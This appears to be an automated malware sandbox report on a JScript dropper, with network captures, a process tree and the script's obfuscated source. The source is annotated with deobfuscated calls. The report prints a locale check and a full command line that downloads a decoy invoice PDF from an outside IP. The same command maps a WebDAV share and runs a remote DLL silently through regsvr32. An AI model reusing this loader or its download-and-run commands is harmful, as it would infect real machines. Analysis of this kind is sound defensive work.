Jan 10, 2025 23:06:08.670070887 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 23:06:08.670104980 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 23:06:08.670140028 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 23:06:08.670172930 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 23:06:08.670207977 CET	776	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 10, 2025 23:06:08.712584972 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49741	193.143.1.205	8888	6556	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:06:10.213268042 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:06:11.004801035 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:06:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	17:06:03
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\998728891275936098.js"
Imagebase:	0x7ff7db950000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:06:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll
Imagebase:	0x7ff79dd30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:06:03
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:06:04
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:06:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:06:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79dd30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:06:09
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a2870000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:06:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:06:10
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:06:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1960 --field-trial-handle=1784,i,656151265044772534,14870895431654041386,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mrravda() {	mrravda() ➔ undefined
1	dqmvv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ukhybwjts = this[taaxi + eejqvtk + yulboxcc + vlhrfpurc + cphrss + bsdqraxl + lpjdpwuco + yscco] ( this[bmhkgwpg + wnykhjlh + hotaq + yulboxcc + tyqbvmwb + taaxi + yscco][jugpucv + yulboxcc + cphrss + eejqvtk + yscco + cphrss + djiazuixs + cmttolo + rmuiph + cphrss + hotaq + yscco] ( bmhkgwpg + wnykhjlh + hotaq + yulboxcc + tyqbvmwb + taaxi + yscco + souwhmy + wnykhjlh + rbtmmrp + cphrss + vmlfwggj + vmlfwggj ) [kcogy + cphrss + mbqfapwr + kcogy + cphrss + eejqvtk + ccqvrkher] ( vhmqcc + rhwniqoiu + mxetp + jiminp + gkxbsdt + jugpucv + dhxghsbs + kcogy + kcogy + mxetp + uevyqvo + giwnow + gkxbsdt + dhxghsbs + wnykhjlh + mxetp + kcogy + acury + jugpucv + wgzkfe + lpjdpwuco + yscco + yulboxcc + wgzkfe + vmlfwggj + qadrp + tkgvpgf + eejqvtk + lpjdpwuco + cphrss + vmlfwggj + acury + bsdqraxl + lpjdpwuco + yscco + cphrss + yulboxcc + lpjdpwuco + eejqvtk + yscco + tyqbvmwb + wgzkfe + lpjdpwuco + eejqvtk + vmlfwggj + acury + vddrvs + wgzkfe + hotaq + eejqvtk + vmlfwggj + cphrss ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gpkmtjar = 0 ; gpkmtjar < dqmvv[vmlfwggj + cphrss + lpjdpwuco + mbqfapwr + yscco + rbtmmrp] ; ++ gpkmtjar )
4	{
5	if ( ukhybwjts == dqmvv[gpkmtjar] )
6	{
7	ukhybwjts = true;
8	break ;
9	}
10	}
11	if ( ukhybwjts !== true )
12	this[bmhkgwpg + wnykhjlh + hotaq + yulboxcc + tyqbvmwb + taaxi + yscco][bljont + cbfehb + tyqbvmwb + yscco] ( );
13	this[bmhkgwpg + wnykhjlh + hotaq + yulboxcc + tyqbvmwb + taaxi + yscco][jugpucv + yulboxcc + cphrss + eejqvtk + yscco + cphrss + djiazuixs + cmttolo + rmuiph + cphrss + hotaq + yscco] ( bmhkgwpg + wnykhjlh + hotaq + yulboxcc + tyqbvmwb + taaxi + yscco + souwhmy + wnykhjlh + rbtmmrp + cphrss + vmlfwggj + vmlfwggj ) [yulboxcc + cbfehb + lpjdpwuco] ( hotaq + vszvstdfd + ccqvrkher + qadrp + rkyvkc + hotaq + qadrp + taaxi + wgzkfe + uuqdlpatc + cphrss + yulboxcc + vlhrfpurc + rbtmmrp + cphrss + vmlfwggj + vmlfwggj + souwhmy + cphrss + njbbosjcd + cphrss + qadrp + hdtnbpec + jugpucv + wgzkfe + vszvstdfd + vszvstdfd + eejqvtk + lpjdpwuco + ccqvrkher + qadrp + igkngtzho + bsdqraxl + lpjdpwuco + eobgbs + wgzkfe + rwgoit + cphrss + hdtnbpec + bmhkgwpg + cphrss + cmttolo + kcogy + cphrss + guorly + cbfehb + cphrss + vlhrfpurc + yscco + qadrp + hdtnbpec + djiazuixs + cbfehb + yscco + ifmmfrmoe + tyqbvmwb + vmlfwggj + cphrss + qadrp + wocgmitmy + yscco + cphrss + vszvstdfd + taaxi + wocgmitmy + acury + tyqbvmwb + lpjdpwuco + eobgbs + wgzkfe + tyqbvmwb + hotaq + cphrss + souwhmy + taaxi + ccqvrkher + uqqpxxthm + qadrp + rbtmmrp + yscco + yscco + taaxi + ikuqn + rkyvkc + rkyvkc + kmozohtss + bejrljg + xqjttvt + souwhmy + kmozohtss + vtxuwp + xqjttvt + souwhmy + kmozohtss + souwhmy + idwlsm + pcvyidg + bkigetf + rkyvkc + tyqbvmwb + lpjdpwuco + eobgbs + wgzkfe + tyqbvmwb + hotaq + cphrss + souwhmy + taaxi + rbtmmrp + taaxi + igkngtzho + fvcyrk + fvcyrk + vlhrfpurc + yscco + eejqvtk + yulboxcc + yscco + qadrp + wocgmitmy + yscco + cphrss + vszvstdfd + taaxi + wocgmitmy + acury + tyqbvmwb + lpjdpwuco + eobgbs + wgzkfe + tyqbvmwb + hotaq + cphrss + souwhmy + taaxi + ccqvrkher + uqqpxxthm + fvcyrk + fvcyrk + hotaq + vszvstdfd + ccqvrkher + qadrp + rkyvkc + hotaq + qadrp + lpjdpwuco + cphrss + yscco + qadrp + cbfehb + vlhrfpurc + cphrss + qadrp + acury + acury + kmozohtss + bejrljg + xqjttvt + souwhmy + kmozohtss + vtxuwp + xqjttvt + souwhmy + kmozohtss + souwhmy + idwlsm + pcvyidg + bkigetf + iomrouk + smgdvu + smgdvu + smgdvu + smgdvu + acury + ccqvrkher + eejqvtk + eobgbs + uuqdlpatc + uuqdlpatc + uuqdlpatc + yulboxcc + wgzkfe + wgzkfe + yscco + acury + fvcyrk + fvcyrk + hotaq + vszvstdfd + ccqvrkher + qadrp + rkyvkc + hotaq + qadrp + yulboxcc + cphrss + mbqfapwr + vlhrfpurc + eobgbs + yulboxcc + xqjttvt + idwlsm + qadrp + rkyvkc + vlhrfpurc + qadrp + acury + acury + kmozohtss + bejrljg + xqjttvt + souwhmy + kmozohtss + vtxuwp + xqjttvt + souwhmy + kmozohtss + souwhmy + idwlsm + pcvyidg + bkigetf + iomrouk + smgdvu + smgdvu + smgdvu + smgdvu + acury + ccqvrkher + eejqvtk + eobgbs + uuqdlpatc + uuqdlpatc + uuqdlpatc + yulboxcc + wgzkfe + wgzkfe + yscco + acury + xqjttvt + pcvyidg + idwlsm + bejrljg + xqjttvt + bkigetf + pcvyidg + idwlsm + bejrljg + affwe + xqjttvt + loytpzhh + idwlsm + souwhmy + ccqvrkher + vmlfwggj + vmlfwggj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3029350297362.dll",0,false) ➔ 0
14	}
15	wgzkfe = "E";
16	wgzkfe = "T";
17	wgzkfe = "C";
18	wgzkfe = "T";
19	wgzkfe = "T";
20	wgzkfe = "U";
21	wgzkfe = "Z";
22	wgzkfe = "u";
23	wgzkfe = "q";
24	wgzkfe = "s";
25	wgzkfe = "s";
26	wgzkfe = "f";
27	wgzkfe = "U";
28	wgzkfe = "X";
29	wgzkfe = "i";
30	wgzkfe = "r";
31	wgzkfe = "d";
32	wgzkfe = "O";
33	wgzkfe = "r";
34	wgzkfe = "J";
35	wgzkfe = "S";
36	wgzkfe = "o";
37	iomrouk = "D";
38	iomrouk = "@";
39	ikuqn = "s";
40	ikuqn = "v";
41	ikuqn = "C";
42	ikuqn = "B";
43	ikuqn = "J";
44	ikuqn = "I";
45	ikuqn = "V";
46	ikuqn = "N";
47	ikuqn = ":";
48	pcvyidg = "v";
49	pcvyidg = "d";
50	pcvyidg = "K";
51	pcvyidg = "h";
52	pcvyidg = "i";
53	pcvyidg = "F";
54	pcvyidg = "0";
55	ifmmfrmoe = "B";
56	ifmmfrmoe = "I";
57	ifmmfrmoe = "j";
58	ifmmfrmoe = "F";
59	ifmmfrmoe = "J";
60	ifmmfrmoe = "R";
61	ifmmfrmoe = "F";
62	ifmmfrmoe = "o";
63	ifmmfrmoe = "A";
64	ifmmfrmoe = "N";
65	ifmmfrmoe = "n";
66	ifmmfrmoe = "B";
67	ifmmfrmoe = "y";
68	ifmmfrmoe = "F";
69	ifmmfrmoe = "l";
70	ifmmfrmoe = "b";
71	ifmmfrmoe = "h";
72	ifmmfrmoe = "F";
73	ifmmfrmoe = "S";
74	ifmmfrmoe = "H";
75	ifmmfrmoe = "x";
76	ifmmfrmoe = "k";
77	ifmmfrmoe = "M";
78	ifmmfrmoe = "e";
79	ifmmfrmoe = "O";
80	ifmmfrmoe = "J";
81	ifmmfrmoe = "X";
82	ifmmfrmoe = "Q";
83	ifmmfrmoe = "s";
84	ifmmfrmoe = "T";
85	ifmmfrmoe = "S";
86	ifmmfrmoe = "u";
87	ifmmfrmoe = "e";
88	ifmmfrmoe = "i";
89	ifmmfrmoe = "J";
90	ifmmfrmoe = "Z";
91	ifmmfrmoe = "r";
92	ifmmfrmoe = "R";
93	ifmmfrmoe = "Y";
94	ifmmfrmoe = "O";
95	ifmmfrmoe = "l";
96	ifmmfrmoe = "B";
97	ifmmfrmoe = "E";
98	ifmmfrmoe = "F";
99	bkigetf = "N";
100	bkigetf = "C";
101	bkigetf = "X";
102	bkigetf = "e";
103	bkigetf = "h";
104	bkigetf = "i";
105	bkigetf = "p";
106	bkigetf = "z";
107	bkigetf = "M";
108	bkigetf = "5";
109	eobgbs = "q";
110	eobgbs = "K";
111	eobgbs = "g";
112	eobgbs = "z";
113	eobgbs = "r";
114	eobgbs = "n";
115	eobgbs = "S";
116	eobgbs = "e";
117	eobgbs = "j";
118	eobgbs = "B";
119	eobgbs = "H";
120	eobgbs = "v";
121	eobgbs = "u";
122	eobgbs = "W";
123	eobgbs = "G";
124	eobgbs = "o";
125	eobgbs = "d";
126	eobgbs = "s";
127	eobgbs = "v";
128	vddrvs = "L";
129	giwnow = "p";
130	giwnow = "x";
131	giwnow = "F";
132	giwnow = "c";
133	giwnow = "m";
134	giwnow = "v";
135	giwnow = "n";
136	giwnow = "O";
137	giwnow = "T";
138	giwnow = "q";
139	giwnow = "B";
140	giwnow = "I";
141	giwnow = "M";
142	giwnow = "r";
143	giwnow = "b";
144	giwnow = "u";
145	giwnow = "T";
146	affwe = "y";
147	affwe = "O";
148	affwe = "x";
149	affwe = "z";
150	affwe = "u";
151	affwe = "c";
152	affwe = "p";
153	affwe = "E";
154	affwe = "P";
155	affwe = "F";
156	affwe = "W";
157	affwe = "c";
158	affwe = "U";
159	affwe = "s";
160	affwe = "D";
161	affwe = "z";
162	affwe = "T";
163	affwe = "L";
164	affwe = "R";
165	affwe = "W";
166	affwe = "o";
167	affwe = "W";
168	affwe = "w";
169	affwe = "s";
170	affwe = "t";
171	affwe = "B";
172	affwe = "v";
173	affwe = "p";
174	affwe = "q";
175	affwe = "a";
176	affwe = "l";
177	affwe = "l";
178	affwe = "u";
179	affwe = "M";
180	affwe = "U";
181	affwe = "s";
182	affwe = "K";
183	affwe = "V";
184	affwe = "Z";
185	affwe = "7";
186	idwlsm = "Q";
187	idwlsm = "x";
188	idwlsm = "a";
189	idwlsm = "Z";
190	idwlsm = "P";
191	idwlsm = "D";
192	idwlsm = "m";
193	idwlsm = "n";
194	idwlsm = "f";
195	idwlsm = "A";
196	idwlsm = "e";
197	idwlsm = "M";
198	idwlsm = "2";
199	loytpzhh = "P";
200	loytpzhh = "W";
201	loytpzhh = "E";
202	loytpzhh = "u";
203	loytpzhh = "X";
204	loytpzhh = "M";
205	loytpzhh = "p";
206	loytpzhh = "I";
207	loytpzhh = "p";
208	loytpzhh = "w";
209	loytpzhh = "z";
210	loytpzhh = "I";
211	loytpzhh = "n";
212	loytpzhh = "G";
213	loytpzhh = "P";
214	loytpzhh = "N";
215	loytpzhh = "X";
216	loytpzhh = "c";
217	loytpzhh = "o";
218	loytpzhh = "E";
219	loytpzhh = "6";
220	rhwniqoiu = "u";
221	rhwniqoiu = "q";
222	rhwniqoiu = "r";
223	rhwniqoiu = "i";
224	rhwniqoiu = "K";
225	vlhrfpurc = "G";
226	vlhrfpurc = "j";
227	vlhrfpurc = "u";
228	vlhrfpurc = "c";
229	vlhrfpurc = "k";
230	vlhrfpurc = "M";
231	vlhrfpurc = "n";
232	vlhrfpurc = "f";
233	vlhrfpurc = "b";
234	vlhrfpurc = "T";
235	vlhrfpurc = "T";
236	vlhrfpurc = "w";
237	vlhrfpurc = "E";
238	vlhrfpurc = "q";
239	vlhrfpurc = "e";
240	vlhrfpurc = "e";
241	vlhrfpurc = "a";
242	vlhrfpurc = "G";
243	vlhrfpurc = "R";
244	vlhrfpurc = "P";
245	vlhrfpurc = "B";
246	vlhrfpurc = "y";
247	vlhrfpurc = "t";
248	vlhrfpurc = "N";
249	vlhrfpurc = "v";
250	vlhrfpurc = "e";
251	vlhrfpurc = "g";
252	vlhrfpurc = "D";
253	vlhrfpurc = "V";
254	vlhrfpurc = "f";
255	vlhrfpurc = "J";
256	vlhrfpurc = "l";
257	vlhrfpurc = "T";
258	vlhrfpurc = "o";
259	vlhrfpurc = "E";
260	vlhrfpurc = "l";
261	vlhrfpurc = "a";
262	vlhrfpurc = "q";
263	vlhrfpurc = "Q";
264	vlhrfpurc = "Q";
265	vlhrfpurc = "C";
266	vlhrfpurc = "g";
267	vlhrfpurc = "s";
268	yscco = "x";
269	yscco = "t";
270	yscco = "q";
271	yscco = "t";
272	dhxghsbs = "m";
273	dhxghsbs = "a";
274	dhxghsbs = "Z";
275	dhxghsbs = "Q";
276	dhxghsbs = "U";
277	rkyvkc = "W";
278	rkyvkc = "A";
279	rkyvkc = "e";
280	rkyvkc = "U";
281	rkyvkc = "/";
282	xqjttvt = "F";
283	xqjttvt = "n";
284	xqjttvt = "s";
285	xqjttvt = "w";
286	xqjttvt = "h";
287	xqjttvt = "G";
288	xqjttvt = "X";
289	xqjttvt = "p";
290	xqjttvt = "S";
291	xqjttvt = "b";
292	xqjttvt = "l";
293	xqjttvt = "N";
294	xqjttvt = "W";
295	xqjttvt = "u";
296	xqjttvt = "d";
297	xqjttvt = "G";
298	xqjttvt = "e";
299	xqjttvt = "o";
300	xqjttvt = "y";
301	xqjttvt = "c";
302	xqjttvt = "v";
303	xqjttvt = "f";
304	xqjttvt = "w";
305	xqjttvt = "T";
306	xqjttvt = "B";
307	xqjttvt = "T";
308	xqjttvt = "W";
309	xqjttvt = "H";
310	xqjttvt = "Z";
311	xqjttvt = "m";
312	xqjttvt = "z";
313	xqjttvt = "W";
314	xqjttvt = "3";
315	ccqvrkher = "q";
316	ccqvrkher = "d";
317	ccqvrkher = "n";
318	ccqvrkher = "k";
319	ccqvrkher = "X";
320	ccqvrkher = "P";
321	ccqvrkher = "R";
322	ccqvrkher = "U";
323	ccqvrkher = "d";
324	cmttolo = "C";
325	cmttolo = "w";
326	cmttolo = "Z";
327	cmttolo = "b";
328	vszvstdfd = "c";
329	vszvstdfd = "q";
330	vszvstdfd = "I";
331	vszvstdfd = "m";
332	vszvstdfd = "i";
333	vszvstdfd = "N";
334	vszvstdfd = "a";
335	vszvstdfd = "N";
336	vszvstdfd = "C";
337	vszvstdfd = "j";
338	vszvstdfd = "b";
339	vszvstdfd = "y";
340	vszvstdfd = "f";
341	vszvstdfd = "g";
342	vszvstdfd = "I";
343	vszvstdfd = "E";
344	vszvstdfd = "U";
345	vszvstdfd = "A";
346	vszvstdfd = "u";
347	vszvstdfd = "D";
348	vszvstdfd = "M";
349	vszvstdfd = "m";
350	vszvstdfd = "f";
351	vszvstdfd = "L";
352	vszvstdfd = "a";
353	vszvstdfd = "t";
354	vszvstdfd = "K";
355	vszvstdfd = "y";
356	vszvstdfd = "A";
357	vszvstdfd = "F";
358	vszvstdfd = "m";
359	mxetp = "o";
360	mxetp = "W";
361	mxetp = "n";
362	mxetp = "v";
363	mxetp = "U";
364	mxetp = "U";
365	mxetp = "k";
366	mxetp = "j";
367	mxetp = "k";
368	mxetp = "b";
369	mxetp = "m";
370	mxetp = "n";
371	mxetp = "c";
372	mxetp = "p";
373	mxetp = "o";
374	mxetp = "I";
375	mxetp = "o";
376	mxetp = "r";
377	mxetp = "B";
378	mxetp = "l";
379	mxetp = "B";
380	mxetp = "R";
381	mxetp = "l";
382	mxetp = "E";
383	bmhkgwpg = "l";
384	bmhkgwpg = "P";
385	bmhkgwpg = "z";
386	bmhkgwpg = "V";
387	bmhkgwpg = "E";
388	bmhkgwpg = "W";
389	bmhkgwpg = "i";
390	bmhkgwpg = "h";
391	bmhkgwpg = "P";
392	bmhkgwpg = "a";
393	bmhkgwpg = "L";
394	bmhkgwpg = "s";
395	bmhkgwpg = "V";
396	bmhkgwpg = "r";
397	bmhkgwpg = "l";
398	bmhkgwpg = "Y";
399	bmhkgwpg = "D";
400	bmhkgwpg = "z";
401	bmhkgwpg = "s";
402	bmhkgwpg = "P";
403	bmhkgwpg = "P";
404	bmhkgwpg = "B";
405	bmhkgwpg = "H";
406	bmhkgwpg = "J";
407	bmhkgwpg = "I";
408	bmhkgwpg = "S";
409	bmhkgwpg = "N";
410	bmhkgwpg = "u";
411	bmhkgwpg = "J";
412	bmhkgwpg = "l";
413	bmhkgwpg = "q";
414	bmhkgwpg = "z";
415	bmhkgwpg = "l";
416	bmhkgwpg = "B";
417	bmhkgwpg = "A";
418	bmhkgwpg = "h";
419	bmhkgwpg = "P";
420	bmhkgwpg = "E";
421	bmhkgwpg = "W";
422	kcogy = "C";
423	kcogy = "l";
424	kcogy = "x";
425	kcogy = "T";
426	kcogy = "b";
427	kcogy = "k";
428	kcogy = "I";
429	kcogy = "h";
430	kcogy = "R";
431	taaxi = "C";
432	taaxi = "b";
433	taaxi = "c";
434	taaxi = "h";
435	taaxi = "u";
436	taaxi = "v";
437	taaxi = "f";
438	taaxi = "D";
439	taaxi = "x";
440	taaxi = "J";
441	taaxi = "m";
442	taaxi = "q";
443	taaxi = "U";
444	taaxi = "S";
445	taaxi = "Y";
446	taaxi = "P";
447	taaxi = "v";
448	taaxi = "D";
449	taaxi = "P";
450	taaxi = "p";
451	bsdqraxl = "P";
452	bsdqraxl = "c";
453	bsdqraxl = "F";
454	bsdqraxl = "s";
455	bsdqraxl = "U";
456	bsdqraxl = "V";
457	bsdqraxl = "I";
458	gkxbsdt = "L";
459	gkxbsdt = "C";
460	gkxbsdt = "U";
461	gkxbsdt = "N";
462	gkxbsdt = "S";
463	gkxbsdt = "x";
464	gkxbsdt = "A";
465	gkxbsdt = "k";
466	gkxbsdt = "p";
467	gkxbsdt = "Y";
468	gkxbsdt = "j";
469	gkxbsdt = "z";
470	gkxbsdt = "m";
471	gkxbsdt = "a";
472	gkxbsdt = "q";
473	gkxbsdt = "T";
474	gkxbsdt = "x";
475	gkxbsdt = "m";
476	gkxbsdt = "C";
477	gkxbsdt = "U";
478	gkxbsdt = "Z";
479	gkxbsdt = "O";
480	gkxbsdt = "I";
481	gkxbsdt = "Y";
482	gkxbsdt = "p";
483	gkxbsdt = "u";
484	gkxbsdt = "T";
485	gkxbsdt = "U";
486	gkxbsdt = "d";
487	gkxbsdt = "m";
488	gkxbsdt = "M";
489	gkxbsdt = "W";
490	gkxbsdt = "c";
491	gkxbsdt = "x";
492	gkxbsdt = "_";
493	hdtnbpec = "z";
494	hdtnbpec = "z";
495	hdtnbpec = "y";
496	hdtnbpec = "F";
497	hdtnbpec = "g";
498	hdtnbpec = "q";
499	hdtnbpec = "l";
500	hdtnbpec = "B";
501	hdtnbpec = "V";
502	hdtnbpec = "I";
503	hdtnbpec = "T";
504	hdtnbpec = "O";
505	hdtnbpec = "p";
506	hdtnbpec = "I";
507	hdtnbpec = "C";
508	hdtnbpec = "B";
509	hdtnbpec = "G";
